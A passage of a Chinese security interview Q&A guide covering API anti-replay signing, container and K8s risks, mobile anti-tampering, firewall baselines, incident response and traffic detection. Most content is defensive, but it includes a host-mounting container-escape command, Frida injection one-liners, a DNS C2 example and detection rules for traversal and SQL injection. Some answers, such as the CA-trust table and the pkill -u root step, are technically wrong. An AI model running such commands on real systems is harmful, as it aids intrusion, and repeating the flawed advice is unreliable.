- 限制数据来源：接口 B 仅接受可信 API 的数据。
- 使用 Token 关联请求，防止数据篡改。

新的 API 接口上线时，如何设计使其避免出现请求篡改和请求重放？

防篡改措施：

参数签名：

使用 HMAC-SHA256 计算请求参数签名：

import hmac, hashlib
secret = b'secret-key'
message = b'param1=value1&param2=value2'
signature = hmac.new(secret, message, hashlib.sha256).hexdigest()

服务器端校验签名，防止参数被篡改。

防重放措施：
- 使用时间戳+随机数：
- 在请求中添加 timestamp + nonce，确保唯一性：

{
  "timestamp": 1700000000,
  "nonce": "random-uuid",
  "signature": "hmac_signature"
}

- 服务器端存储已使用的 nonce，防止重复请求。

Docker 容器以及 K8s 有哪些风险？

Docker 风险：

容器逃逸：攻击者可利用 CVE-2019-5736 等漏洞获取宿主机权限。
不安全镜像：使用来源不明的镜像，可能带后门或恶意代码。
权限提升：容器运行时使用 --privileged 选项，导致权限过高。

K8s 风险：

API 滥用：K8s API 未授权访问，导致敏感数据泄露。
RBAC 配置错误：错误的角色绑定（如 cluster-admin）导致权限扩大。
未隔离命名空间：多个应用共享命名空间，增加攻击面。

防范措施：
- 使用最小权限原则限制容器和 K8s 资源访问。
- 启用 Pod Security Policy，避免运行高权限容器。
- 定期扫描容器镜像，防止供应链攻击。

IPv6 和 IPv4 安全差异？

主要安全差异：

地址可用性：
- IPv6 地址空间更大，不再依赖 NAT 进行地址复用，但暴露面更大。
默认启用 ICMPv6：
- 攻击者可利用 ICMPv6 邻居发现协议 发起 MITM 攻击。
无状态地址自动配置（SLAAC）：
- 设备可自动分配 IPv6 地址，可能被恶意利用进行伪造。

防范措施：
- 限制 IPv6 访问范围，使用防火墙规则拦截外部未授权流量。
- 启用 RA-Guard，防止恶意 IPv6 路由公告。

三方引入的应用和自研应用评估的差异有哪些？

三方应用评估：

主要关注 供应链攻击，检查是否存在恶意代码或后门。
需要 代码审计，避免第三方 SDK 泄露数据。

自研应用评估：
- 重点关注业务逻辑漏洞（如支付绕过、权限越权）。
- 代码安全规范需严格执行，防止内部泄露风险。

金融业务有何特性？

高安全性：
- 需符合 PCI DSS、GDPR 等合规要求。
强身份认证：
- 使用 多因子认证（MFA），防止账户被盗。
交易不可抵赖性：
- 采用 数字签名 保障交易真实性。

mvn 源的安全性需要考虑哪些点？

防止供应链攻击：
- 使用可信 Maven 仓库（如 Maven Central）。
依赖包完整性：
- 启用 SHA256 校验：
  1
  <checksumPolicy>fail</checksumPolicy>

如何让业务方主动找你评估？

建立安全反馈机制：
- 设立安全邮箱，鼓励业务团队主动提交评估请求。
安全培训：
- 提供 安全开发培训，提升业务团队的安全意识。
数据驱动决策：
- 通过安全事件分析，展示安全风险对业务的影响，提高安全优先级。

如何判断评估覆盖范围的优先级？

优先级判断依据：

业务影响：
- 关键业务（支付、身份认证、核心数据库）应优先评估。
攻击面大小：
- 公开 API、Web 界面、第三方集成点风险较高，需优先测试。
历史安全事件：
- 结合过往漏洞数据，优先排查高风险区域。

最佳实践：
- 采用攻击面分析（Attack Surface Analysis）识别高风险区域。
- 结合威胁建模评估潜在威胁。

如何系统提高安全评估效率？

优化方法：

自动化测试：
- 使用 SAST（静态代码分析）+ DAST（动态应用测试）提高漏洞发现速度。
CI/CD 安全集成：
- 在 DevOps 流程中嵌入安全测试，自动检测代码漏洞。
安全运营平台化：
- 构建统一安全评估平台，集中管理资产、漏洞、测试结果。

示例：
- 在 CI/CD 流程中集成 SonarQube 进行代码安全扫描。持续集成（CI）和持续部署（CD）流程
- 采用 Burp Suite 自动化扫描发现 Web 漏洞。

如何理解安全左移？

概念：

安全左移（Shift Left Security） 指的是将安全评估前置到软件开发生命周期（SDLC）的早期阶段，而非仅在上线后检测漏洞。

关键实践：

在开发阶段进行代码安全审计（SAST）。
CI/CD 流程中集成安全扫描，避免上线后修复成本高。
开发人员安全培训，提升安全意识。

示例：
- 在代码提交时运行 Checkmarx 进行静态代码分析。
- 在 Jenkins Pipeline 中加入 OWASP ZAP 自动化扫描。

安全评估的行业最佳实践是什么？

威胁建模（Threat Modeling）：
- 采用 STRIDE、DREAD 等方法预测攻击路径。
安全基线（Security Baseline）：
- 参考 NIST、CIS、ISO 27001 建立安全标准。
零信任架构（Zero Trust Security）：
- 任何访问请求都需经过严格身份验证和授权。
持续监测（Continuous Monitoring）：
- 使用 SIEM（安全信息与事件管理） 实时检测异常行为。

示例：

企业安全框架参考 MITRE ATT&CK 进行安全威胁建模。

硬编码密钥有何风险以及如何系统解决？

风险分析：

密钥暴露面大，攻击成本低：
- 硬编码密钥易被泄露，GitHub、云盘、日志文件 都可能存储代码副本。
- 攻击者通过代码审计工具（如 TruffleHog、GitLeaks）扫描密钥。
- 泄露密钥后，攻击者可直接访问 API、数据库、云服务。
密钥难以更换：
- 当密钥写死在代码中，变更成本大，需要重新部署应用。
- 攻击者可以长期利用泄露的密钥，造成持久性风险。

解决方案：
- 使用环境变量存储密钥：

1	export API_KEY="your-secret-key"

- 使用密钥管理系统（KMS）：
- 采用 AWS KMS、HashiCorp Vault 进行密钥管理，避免硬编码。
- 定期轮换密钥：
- 设定密钥 生命周期，定期生成新密钥，降低长期泄露风险。

0day 漏洞如何防御？

防御策略：
1. 增强攻击面监控：
- 采用威胁情报（Threat Intelligence），订阅 CVE 预警信息。
2. 启用 RASP（运行时应用自我保护）：
- 通过 Hook 关键 API，检测异常行为，如 Java RASP 监控 `Runtime.exec()`。
3. 加强访问控制：
- 限制高权限用户操作，如 SSH 访问、数据库管理权限。

GitHub 等三方泄漏敏感信息如何体系防御？

防御方法：
1. 自动化扫描：
- 使用 GitLeaks、TruffleHog 定期扫描 Git 仓库。
2. 强制 Git Hook 检查：
- 在 Git 提交前检测敏感信息，防止误提交：

1	pre-commit run --all-files

3. 密钥失效机制：
- 一旦密钥泄露，立即使其失效并重新生成。

业务逻辑漏洞如何通过技术手段挖掘与弥补？

漏洞挖掘方法：

流量分析：
- 通过 Burp Suite 捕获流量，分析参数可篡改性，如订单金额篡改。
Fuzzing（模糊测试）：
- 对关键 API 进行输入变异测试，识别未处理的异常情况。
权限校验测试：
- 使用低权限账户访问管理端 API，检查是否存在越权访问漏洞。

修复策略：
- 后端强制权限校验，避免仅依赖前端限制。
- 启用幂等性检查，防止关键交易被重复执行。

软件供应链后门漏洞如何系统规避？

主要风险：

供应链攻击可能通过 第三方库、开源组件 植入恶意代码，如 事件流（EventStream）后门 事件。

防范措施：

使用可信赖的软件仓库：
- 采用 npm audit、pip check 等工具检测依赖漏洞。
启用 SCA（软件成分分析）：
- 使用 Sonatype Nexus、Snyk 监测依赖安全性。
强制代码审计：
- 采用 CodeQL 分析供应链代码，发现恶意代码片段。

示例：使用 Snyk 扫描 Node.js 依赖：

snyk test

前端 JavaScript 代码如何混淆以及反调试？

混淆技术：

代码结构打乱：
- 插入无用代码，使逻辑难以阅读和分析。

变量名修改：

将变量名替换为随机字符串：

1 2	var a = "secret"; // 原代码 var _0x1a3b4 = "secret"; // 混淆后

字符串加密：
- 使用 RC4 或 Base64 编码保护字符串：
  1
  var str = atob("c2VjcmV0"); // "secret"

Unicode 转换：

代码转换为 Unicode 表示：

1	var str = "\u0068\u0065\u006c\u006c\u006f"; // "hello"

反调试技术：
1. 禁用开发者工具：
- 监听 DevTools 打开状态，触发 debugger：

setInterval(() => {
    console.log("Checking DevTools...");
    if (window.outerHeight - window.innerHeight > 200) {
        window.location.reload();
    }
}, 1000);

2. 拦截 console 调试：
- 禁用 console.*：

1	console.log = function() {};

3. 代码自毁机制：
- 当代码检测到 DevTools 运行时，修改关键变量或终止执行：

1
2
3

if (window.navigator.webdriver) {
    document.write("Debugger detected!");
}

如何实现当前页面 `location.href` 改变后，仍然能执行之前的 JavaScript？

方法：
1. 使用 setTimeout 执行延迟任务：
- JavaScript 的 setTimeout 方法不会被 location.href 影响，可用于延迟执行代码：

setTimeout(() => {
    alert("This runs even after page change!");
}, 3000);
location.href = "https://example.com";

2. 使用 window.onbeforeunload 监听跳转：
- 在页面跳转前执行代码：

window.onbeforeunload = function() {
    console.log("Page is leaving...");
    return "Are you sure?";
};

3. Service Worker 方式：
- 通过 Service Worker 持续运行 JS 逻辑，即使页面跳转：

1
2
3

navigator.serviceWorker.register('/worker.js').then(() => {
    console.log("Service Worker Registered!");
});

APK 反编译有哪几种路径，代表工具有哪些？

反编译路径：

DEX 反编译（Dalvik Executable）：
- 将 classes.dex 还原为 Java 代码：
  1
  jadx -d output/ app.apk
- 工具：JADX、dex2jar、Bytecode Viewer
资源文件提取：
- 获取 AndroidManifest.xml、res 目录内容：
  1
  apktool d app.apk -o output/
- 工具：Apktool
动态调试（Hook 技术）：
- 通过 Frida、Xposed 在运行时修改应用行为：
  1
  frida -U -n target_app -e "Java.perform(() => { console.log('Hooked!'); })"
- 工具：Frida、Xposed

防御措施：
- 开启 ProGuard 进行代码混淆：

1 2	minifyEnabled true proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'

- 使用 Native C++ 代码保护关键逻辑，避免 Java 层被轻易反编译。

App 自检升级场景下会存在哪些风险？

主要风险：

中间人攻击（MITM）：
- 升级包下载过程中若未使用 HTTPS，攻击者可篡改文件。
伪造更新包：
- 服务器未进行签名校验，攻击者可伪造更新包，执行恶意代码。
权限提升：
- 更新过程中若涉及动态加载 dex 或 so，可能被滥用实现远程代码执行（RCE）。
更新劫持：
- 低版本系统可能被 app hijacking 攻击，导致跳转到恶意应用下载页面。

防护措施：
- 强制使用 HTTPS 进行更新包传输，防止流量篡改。
- 签名校验，更新包需进行 SHA256 校验：

1 2	MessageDigest md = MessageDigest.getInstance("SHA-256"); byte[] digest = md.digest(fileBytes);

- 完整性检查，校验 AndroidManifest.xml 及 dex，防止动态加载恶意代码。

如何设计一套通信机制，能够保证传输过程中的完整性、不可抵赖性以及防止重放？

设计原则：
1. 完整性：
- 采用 HMAC-SHA256 签名，确保消息未被篡改：

1
2
3

Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secretKey.getBytes(), "HmacSHA256"));
byte[] hash = mac.doFinal(message.getBytes());

2. 不可抵赖性：
- 使用 RSA 签名 确保消息来源可信：

Signature sign = Signature.getInstance("SHA256withRSA");
sign.initSign(privateKey);
sign.update(message.getBytes());
byte[] signature = sign.sign();

3. 防止重放攻击：
- 采用 时间戳 + 随机数（nonce），确保每次请求唯一：

{
  "timestamp": 1700000000,
  "nonce": "random-uuid",
  "signature": "hmac_signature"
}

- 服务器端存储 nonce，避免相同请求重复提交。

如何进行实体检测？

实体检测方法：

基于指纹识别：
- 通过 设备 ID、MAC 地址、IMEI 进行唯一性检测。
基于地理位置：
- 结合 GPS、WiFi 位置数据验证实体存在性。
基于行为分析：
- 通过 鼠标移动轨迹、打字节奏 识别真实用户 vs 机器人。

安全措施：
- 避免依赖单一标识符，综合多个数据源进行验证。
- 采用生物识别（指纹、人脸）增强认证安全性。

常见的调试方法和检测方法？

常见调试方法：

Logcat 调试：
- 通过 adb logcat 查看应用日志。

动态 Hook：

通过 Frida 或 Xposed 修改应用逻辑：

1	frida -U -n target_app -e "Java.perform(() => { console.log('Hooked!'); })"

Smali 逆向修改：

反编译 apk 并修改 smali 代码：

1 2	apktool d app.apk vim smali/com/example/MainActivity.smali

调试检测方法：

**检测 TracerPid**：

BufferedReader reader = new BufferedReader(new FileReader("/proc/self/status"));
String line;
while ((line = reader.readLine()) != null) {
    if (line.contains("TracerPid") && !line.endsWith("\t0")) {
        throw new SecurityException("Debugging detected!");
    }
}

检测 ptrace 进程：
- 在 Android 设备上，ptrace 只能被一个进程附加，利用此特性可检测调试。

如何防止 Frida、Xposed 等注入攻击？

防御方法：
1. 检测 Frida 进程：
- 通过 /proc/net/tcp 检测 Frida 监听端口：

1	Process process = Runtime.getRuntime().exec("netstat -an");

2. Xposed Hook 检测：
- 检测 XposedBridge.jar 是否存在：

File xposed = new File("/system/framework/XposedBridge.jar");
if (xposed.exists()) {
    throw new SecurityException("Xposed detected!");
}

3. SELinux 强制模式：
- 运行 getenforce 命令，确保 SELinux 处于 Enforcing 模式。

如何防止当前设备的数据拷贝到其他设备？

防御措施：
1. 文件权限控制：
- Android 限制文件访问：

1 2	File file = new File(context.getFilesDir(), "data.txt"); file.setReadable(false, false);

2. 设备绑定机制：
- 结合 Device ID + 用户 ID 进行数据绑定：

{
  "device_id": "abcd1234",
  "user_id": "user5678"
}

3. 阻止 ADB 访问：
- 监听 adb 连接状态：

String adbStatus = Settings.Global.getString(getContentResolver(), Settings.Global.ADB_ENABLED);
if ("1".equals(adbStatus)) {
    throw new SecurityException("ADB detected!");
}

外挂有几种类型的实现方式？

外挂类型：

修改游戏内存：
- 通过 Frida 或 Cheat Engine 修改游戏数据。
注入 DLL：
- 在 Windows 或 Android 上，攻击者可向游戏进程注入动态库 (.dll 或 .so)。
模拟点击：
- 通过 Auto.js 或 ADB 自动化点击：
  1
  adb shell input tap 500 500
网络封包修改：
- 通过 Burp Suite 截取 HTTP 请求，修改游戏数据包。

防御措施：
- 检测内存修改，启用 Integrity Check。
- 使用服务器验证关键数据，避免客户端篡改。

如何避免未经用户授权获取权限？

防御策略：

权限最小化原则：
- 仅申请必要权限，避免用户警觉：
  1
  <uses-permission android:name="android.permission.CAMERA"/>

动态权限申请：

运行时请求权限：

1
2
3

if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_CONTACTS}, 1);
}

权限使用透明化：
- 在 UI 提示用户权限用途，增强信任感。

基础设施安全岗

DDoS/CC 如何有效防御与应急？

防御措施：

基础防护：
- 启用 WAF（Web 应用防火墙），过滤恶意流量。
- 限制 同一 IP 访问频率，防止 CC 攻击：
  1
  limit_req_zone $binary_remote_addr zone=one:10m rate=5r/s;
- 启用 CDN（如 Cloudflare）缓解攻击。
高级防护：
- 采用 流量清洗（如阿里云 DDoS 防护）。
- 配置 黑洞路由，丢弃异常流量。

应急方案：
- 立即封禁攻击 IP：

1	iptables -A INPUT -s <malicious_ip> -j DROP

- 切换备用服务器，防止业务中断。

如何对网络区域进行划分？

网络分区原则：

按照安全等级划分：
- DMZ（非军事区）：对外暴露的服务（如 Web 服务器）。
- 内部网络（LAN）：企业内部系统（如数据库、文件服务器）。
- 隔离区：存放敏感数据，限制访问权限。
VLAN（虚拟局域网）：
- 使用 VLAN 进行逻辑隔离，防止广播风暴。

经典网络与 VPC 的优势

对比项	经典网络	VPC（Virtual Private Cloud）
隔离性	共享网络	独立私有网络
安全性	较低	更高（可配置子网、ACL、NACL）
扩展性	受限	可灵活定义子网、路由
适用场景	传统数据中心	云计算、混合云

主机最重要的基线是什么？

安全基线：
1. 最小权限原则：
- 关闭不必要的服务：

1	systemctl disable telnet

2. 日志审计：
- 启用 auditd 记录关键操作：

1	auditctl -w /etc/passwd -p wa -k passwd_change

3. 访问控制：
- 仅允许特定 IP 登录：

1	iptables -A INPUT -p tcp --dport 22 -s 192.168.1.100 -j ACCEPT

禁止出网的价值有哪些？

主要价值：

防止数据泄露：
- 限制服务器主动连接外部 IP，防止数据外泄。
阻止 C2（C&C）通信：
- 防止恶意软件与攻击者服务器建立连接。

实施方法：
- 配置防火墙规则：

1	iptables -A OUTPUT -p tcp -j REJECT

云原生下的网络和主机差异是什么？会有哪些新的风险？

主要差异：

传统主机：依赖固定 IP，基于 防火墙 保护。
云原生：基于 容器网络（CNI），采用 微服务架构。

新风险：
1. 动态 IP 变化：
- 传统 ACL 规则难以适配。
2. 横向攻击风险：
- 容器网络隔离不足，攻击者可在同一集群内横向移动。

如何实现反向 HTTPS 代理？

Nginx 配置反向代理：

server {
    listen 443 ssl;
    server_name example.com;
    
    ssl_certificate /etc/nginx/cert.pem;
    ssl_certificate_key /etc/nginx/key.pem;

    location / {
        proxy_pass https://backend.server.com;
    }
}

如何通过技术手段避免非预期端口开放？

方法：
1. 使用防火墙：

1	iptables -A INPUT -p tcp --dport 3306 -j DROP

2. 端口监听监测：

1	netstat -tulnp \| grep LISTEN

3. 应用层访问控制：
- 配置 Nginx 仅允许特定 IP 访问：

1 2	allow 192.168.1.100; deny all;

容器存在哪些特有安全风险？

容器逃逸：
- 通过 docker.sock 访问宿主机：
  1
  docker run -v /:/host ubuntu chroot /host
镜像供应链攻击：
- 恶意镜像可能包含后门。

防护措施：
- 限制容器权限：

1	docker run --cap-drop=ALL

- 使用可信镜像来源。

运维自屏化的难点是什么？

自动化程度要求高：
- 需要 DevOps/CI/CD 深度集成。
安全策略同步：
- 防火墙、身份验证策略需一致。

不同语言对于系统 CA 证书的信任情况有何不同？如何让各语言信任系统 CA 证书？

语言	默认 CA 证书策略	信任系统 CA 证书方式
Java	使用 JDK 内置 CA	`keytool -importkeystore`
Python	使用 `certifi`	`export CURL_CA_BUNDLE`
Node.js	默认不信任	`export NODE_EXTRA_CA_CERTS`

简单描述有哪几种方式实现服务器截外联，各自利弊是什么？

防火墙规则（最常用）
1
iptables -A OUTPUT -p tcp -j REJECT
优点：高效、直接。
缺点：误操作可能影响正常业务。
代理服务器（透明代理）
- 通过 Squid、Shadowsocks 控制流量：
  1
  export http_proxy="http://proxy.server:3128"
  优点：可审计流量。
  缺点：额外维护成本。
DNS 解析控制
- 仅允许可信域名解析：
  1
  echo "127.0.0.1 malicious.com" >> /etc/hosts
  优点：防止恶意 C2 通信。
  缺点：不适用于 IP 直连流量。
SOCKS5 隧道
- 通过 SSH 隧道 控制网络流量：
  1
  ssh -D 1080 user@proxy-server
  优点：可用于加密通信。
  缺点：需要 SOCKS5 代理支持。

威胁应对岗

如何衡量威胁感知能力强弱？

衡量指标：

检测覆盖率：
- 能否覆盖 网络、应用、终端、日志 多个层面。
误报率/漏报率：
- 误报过多会影响运维，漏报则可能导致攻击未被发现。
实时性：
- 是否能够 实时分析、秒级响应。

提升方法：

结合 AI 机器学习 提升威胁检测精准度。
采用 关联分析（SIEM），分析不同日志来源的数据。

感知规则的有效性如何系统验证？

验证方法：
1. 攻击模拟测试：
- 使用 Kali Linux、Metasploit 模拟攻击场景，测试规则是否生效。
2. 历史攻击回放：
- 通过 日志重放 复现真实攻击流量，验证拦截效果：

1	tcpreplay -i eth0 attack_traffic.pcap

3. 对抗样本测试：
- 生成变种攻击 payload，测试 WAF 规避能力。

未知部分如何衡量？

未知威胁的衡量方法：
1. 基线偏离检测：
- 记录 正常流量模式，发现异常行为：

1
2
3

import pandas as pd
df = pd.read_csv("traffic_logs.csv")
df.describe()

2. 行为分析：
- 采用 UEBA（用户实体行为分析），检测异常行为模式。
3. 蜜罐技术：
- 部署 Honeypot 诱捕攻击者，分析未知攻击方式。

流量采集与清洗

威胁感知可以在哪些层面进行？

不同层面的威胁感知：
1. 网络层：
- 监测异常端口扫描、DDoS 攻击。
2. 应用层：
- 发现 SQL 注入、XSS、业务滥用。
3. 终端层：
- 监测恶意软件、C2 连接。
4. 用户行为层：
- 通过 UEBA 检测账号盗用、异常访问。

TCP 协议的流量要存储哪些关键字段？

关键字段：
1. 源 IP/目标 IP：
- 识别攻击来源。
2. 源端口/目标端口：
- 确定服务类型（如 80 为 HTTP）。
3. 数据包序列号（SEQ）：
- 用于检测 TCP 重传、流量重放。
4. 流量方向（IN/OUT）：
- 便于区分出站/入站流量。

如何在服务器上抓取 HTTPS 流量进行分析？

方法 1：使用 tcpdump 抓包

1	tcpdump -i eth0 port 443 -w https_traffic.pcap

方法 2：使用 Wireshark 解密 HTTPS

在浏览器设置 SSLKEYLOGFILE 环境变量：
1
export SSLKEYLOGFILE=/tmp/sslkeys.log
在 Wireshark 加载 sslkeys.log 进行流量解密。

方法 3：使用 mitmproxy 进行 HTTPS 代理

1	mitmproxy -p 8080 --mode transparent

常见的 C&C 通道种类和特征？

常见 C&C（Command & Control）通道类型：

基于 HTTP/HTTPS：
- 伪装成正常 Web 流量，C2 服务器隐藏在 CDN 之后。
基于 DNS：
- 通过 DNS 解析数据，如 base64 编码数据存储在 TXT 记录中：
  1
  dig @malicious.com TXT
基于 P2P：
- 无需中心化服务器，如 Botnet 网络。
基于社交媒体：
- 通过 Telegram、Twitter 传输命令。

特征分析：

上行流量比下行流量大（Bot 设备发送大量数据）。
长连接保持，会话时间较长。
请求心跳机制，周期性访问 C2 服务器。
异常资源引用，无 JS/CSS 但频繁访问 URL。

如何在加密流量中检测出恶意流量？

检测方法：

流量模式分析：
- 识别异常长连接、周期性数据包特征。
JA3 指纹识别（TLS 指纹）：
- 通过 JA3 指纹匹配 C2 服务器行为：
  1
  ja3 -r capture.pcap
SNI 分析：
- 检查 SNI 是否访问异常域名，如：
  1
  grep SNI /var/log/ssl_access.log

如何识别异常服务器外联？

异常外联行为：

短时间内连接多个可疑 IP：
- netstat -an 发现大量出站连接。
访问冷门域名：
- 通过 dnsmasq.log 发现非常见域名解析：
  1
  grep "QUERY" /var/log/dnsmasq.log
加密流量异常增多：
- tcpdump 抓包分析 TLS 连接数量激增：
  1
  tcpdump -i eth0 port 443

基于网络五元组可以做哪些风险行为的分析？

五元组（源 IP、目的 IP、源端口、目的端口、协议）分析风险：

端口扫描检测：
- 同一 IP 短时间访问多个端口：
  1
  grep "SYN" /var/log/firewall.log
流量突变：
- 发现异常上传流量（如数据泄露）。
协议异常：
- HTTP 端口传输非 HTTP 数据，可能是隧道通信。

风险识别与应对 - 主机侧

主机有那些日志对风险识别有帮助？

关键日志：

**/var/log/auth.log**：
- 记录 SSH 登录，发现暴力破解攻击。
**/var/log/syslog**：
- 记录系统异常事件，如 root 权限提权。
**/var/log/secure**：
- 记录 sudo 操作，判断是否有非授权提权行为。

抽象来看主机中有哪些日志可实现方式？

日志类型：

安全审计日志：
- 记录用户登录、权限变更（如 auth.log）。
系统事件日志：
- 进程启动/终止（dmesg）。
网络连接日志：
- 记录出站/入站流量（iptables log）。

一个黑客入侵主机后植入了一个木马，并擦除了各种日志，如何找出其如何入侵的以及入侵后做了什么？

溯源方法：

**检查 .bash_history**：
- 可能留下命令痕迹：
  1
  cat ~/.bash_history
查看 /proc 进程信息：
- 运行 ps aux，查找隐藏进程：
  1
  ps aux | grep suspicious
恢复日志：
- 使用 extundelete 尝试恢复被删除的日志：
  1
  extundelete /dev/sda1 --restore-all
检查文件变更时间：
- 通过 ls -lt 确认最近修改的可疑文件。

某个黑客入侵主机后，拿到了 root 权限，如何止血？

紧急止血方案：

限制 root 访问：
1
passwd -l root
强制踢除攻击者会话：
1
pkill -u root
关闭网络访问：
1
ifconfig eth0 down
恢复安全策略：
- 重新部署 iptables 规则。

感知到黑客入侵了所有服务器，怎么办？

紧急响应步骤：

隔离受感染服务器：

1	iptables -A INPUT -s attacker_ip -j DROP

分析恶意软件：
- 提取恶意进程的 hash 进行溯源：
  1
  sha256sum /tmp/malware
重置所有凭据：
- 重新生成 SSH 密钥，并修改 root 密码：
  1
  ssh-keygen -f /root/.ssh/id_rsa -N ""
检查持久化后门：
- 检查 crontab 是否被篡改：
  1
  crontab -l
全网威胁狩猎：
- 扫描所有服务器，查找相同恶意进程：
  1
  ps aux | grep malware

如何准确识别域名探测？

探测特征：

解析大量不存在的子域：
1
grep NXDOMAIN /var/log/dnsmasq.log
访问特定安全机制，如 .well-known/security.txt。

防御方法：

启用 DNS 速率限制，防止大规模子域枚举：

1	iptables -A INPUT -p udp --dport 53 -m limit --limit 10/s -j ACCEPT

监控 DNS 查询日志，发现异常域名解析行为。

如何准确识别端口探测？

端口探测特征：

单个 IP 访问多个端口：

1	grep "SYN" /var/log/firewall.log \| awk '{print $5}' \| sort \| uniq -c \| sort -nr

异常速率：
- 短时间内出现大量 SYN 请求。

防御方法：

配置 iptables 限制扫描行为：

1	iptables -A INPUT -p tcp --syn -m limit --limit 5/s -j ACCEPT

如何准确识别文件遍历探测？

常见特征：

访问 /etc/passwd、/proc/self/environ 等敏感文件：
1
grep "passwd" /var/log/nginx/access.log
URL 结尾包含 ../、..%2f（路径遍历编码）。

防御措施：

在 Nginx 配置禁止目录遍历：
1
2
3
location ~ "\.\." {
deny all;
}

SQL 注入拦截规则如何实现？

常见 SQL 注入特征：

发现 UNION SELECT、ORDER BY 关键词。
URL 包含 --、#（SQL 注释）。

拦截方式：

WAF 规则：

1
2
3

if ($query_string ~ "union.*select") {
    return 403;
}

数据库安全策略：
- 采用 参数化查询，避免拼接 SQL：
  1
  cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

如何实现页面篡改感知？

检测方法：

定期对比页面哈希值：
1
md5sum index.html

启用 Content Security Policy（CSP）：

1	add_header Content-Security-Policy "default-src 'self'";

利用 Selenium 监测页面 DOM 变化：

1	driver.find_element_by_xpath("//script[contains(text(),'malicious')]")

如何实现页面挂马感知？

挂马检测方式：

定期扫描 script 标签，发现异常 URL：

1	grep "<script src=" /var/www/html/index.html

检测恶意 iframe 注入：

监测 <iframe> 指向未知域名：

from bs4 import BeautifulSoup
soup = BeautifulSoup(html_content, 'html.parser')
for iframe in soup.find_all('iframe'):
    if "attack.com" in iframe['src']:
        print("Malicious iframe detected!")

如何确保线上拦截规则不出现误拦截？

误拦截分析：

回放拦截日志，分析被拦截请求：

1	cat /var/log/nginx/access.log \| grep "403"

灰度测试：
- 先在 镜像流量环境 中测试规则，确保不会影响正常流量。

结合 AI 风控：

通过 异常分数计算 识别误报：

1 2	from sklearn.ensemble import IsolationForest model = IsolationForest()

如何识别公共和私有接口？

根据 API 路由模式：
- /api/public/ 可能为公共接口。
- /admin/ 可能为私有接口。
基于鉴权检测：
- 发送请求，无 Token 仍返回 200，则可能为公共接口。

如何识别机器行为请求？

机器请求特征：

User-Agent 异常：
- 爬虫通常使用 curl、Python-requests。

请求频率异常：

短时间内大量请求：

1	awk '{print $1}' /var/log/nginx/access.log \| sort \| uniq -c \| sort -nr

行为模式异常：
- 正常用户不会 连续点击多个页面。

检测方式：

结合 CAPTCHA 进行验证。
采用 行为指纹分析（鼠标轨迹、人机交互）。

如何感知被动风险？

监测被动 DNS：
- 发现是否有恶意域名解析：
  1
  grep "badsite.com" /var/log/dnsmasq.log
流量侧感知：
- 被动分析流量，检测 C2 通信：
  1
  bro -r capture.pcap
威胁情报关联：
- 结合 Threat Intelligence，匹配恶意 IP 访问日志。

如何判断攻击请求是定点攻击还是随机扫描？

定点攻击：

针对 特定 URL，如 /admin/login，长期攻击同一接口。
目标明确，通常伴随 密码爆破 或 业务滥用。

随机扫描：

短时间内访问多个 URL，类似 dirb、gobuster 行为：
1
grep "404" /var/log/nginx/access.log | sort | uniq -c
目标模糊，尝试 路径遍历、子域名爆破。

如何识别客户端的系统真实类型？

检测方法：
1. **基于 User-Agent**：

1	grep "Windows NT" /var/log/nginx/access.log

2. JS 指纹识别：
- 通过 navigator.platform 获取系统类型：

1	console.log(navigator.platform);

3. TLS 指纹分析：
- 通过 JA3 识别系统特征：

1	ja3 -r capture.pcap

有哪些可以收集的情报渠道？

威胁情报来源：

开源情报（OSINT）：
- Shodan、Censys 发现暴露的企业资产。
- Twitter、Telegram 监控黑客讨论。
商业情报：
- 订阅 Recorded Future、CrowdStrike 提供的情报数据。
暗网情报：
- 监控 Tor、I2P 发现泄露数据。
蜜罐数据：
- 通过 Cowrie 捕获攻击者行为，分析 C2 服务器地址。

如何快速筛选出最新的 CVE 对我们是否有实际影响？

筛选步骤：

解析 CVE 影响范围：
- 关注 CWE 分类（如 CWE-79 代表 XSS）。
比对自身资产：
- 检查企业内部使用的软件版本：
  1
  dpkg -l | grep openssl
PoC 复现测试：
- 运行 Exploit-DB 或 Metasploit 进行验证：
  1
  searchsploit CVE-2024-1234

给定一个网址，如何自动化识别其是否为钓鱼网站？

识别步骤：

域名相似性分析：
- 计算 Levenshtein 距离，检测是否模仿官方域名：
  1
  2
  from fuzzywuzzy import fuzz
  fuzz.ratio("paypa1.com", "paypal.com")
证书分析：
- 检测 HTTPS 证书签发方，钓鱼站常使用 Let's Encrypt 证书。
页面内容特征：
- 使用 Selenium 获取网站截图，与官方站点比对 UI 相似度。

如何识别仿冒 APP？

检测方法：

签名校验：
- 通过 apksigner 检测 APK 签名：
  1
  apksigner verify --print-certs fake_app.apk
动态行为分析：
- 使用 Frida Hook API，检测是否存在异常权限请求：
  1
  2
  import frida
  session = frida.get_usb_device().attach("fake_app")
市场监控：
- 在 Google Play、第三方应用商店 监控相似 APP。

如何识别一个没有登陆的用户真实身份？

识别方法：

基于指纹识别：
- 采集浏览器 Canvas Fingerprint、User-Agent 等特征。

基于行为分析：

监测鼠标移动轨迹，AI 识别人类 vs 机器人：

1
2
3

document.addEventListener('mousemove', function(e) {
    console.log(e.clientX, e.clientY);
});

IP 地址溯源：
- 使用 MaxMind 库识别用户 IP 归属地。

如何找出对我们业务实施网络攻击的黑客真实身份？

溯源方法：

IP 反查：
- 通过 whois 查询攻击者 IP 归属：
  1
  whois <attacker_ip>
蜜罐捕获：
- 使用 T-Pot 蜜罐收集攻击者行为模式。

国内和国外攻击特点有什么区别？

对比项	国内攻击	国外攻击
攻击手法	业务滥用、供应链攻击	APT、高级恶意软件
工具	国内木马、Cobalt Strike	Metasploit、Empire
目标	金融、电商、政企系统	基础设施、政府机构
攻击目的	经济利益、数据窃取	国家级间谍活动
攻击溯源	攻击 IP 多变，难溯源	APT 组织痕迹明显

总结：

国内攻击者 偏向于经济驱动型（如诈骗、钓鱼、撞库）。
国外 APT 组织 更倾向于 长期潜伏，目标往往是 情报窃取。

常见加解密分类和算法有哪些？

类型	国际算法	国密算法
对称加密	AES、DES	SM4
非对称加密	RSA、ECDSA、ECDH	SM2
消息摘要算法	SHA256、MD5	SM3
传输层安全协议	TLS、SSL	TLS1.3 + 国密单证书
国密证书	sha*WithRsaEncryption	SM2-with-SM3

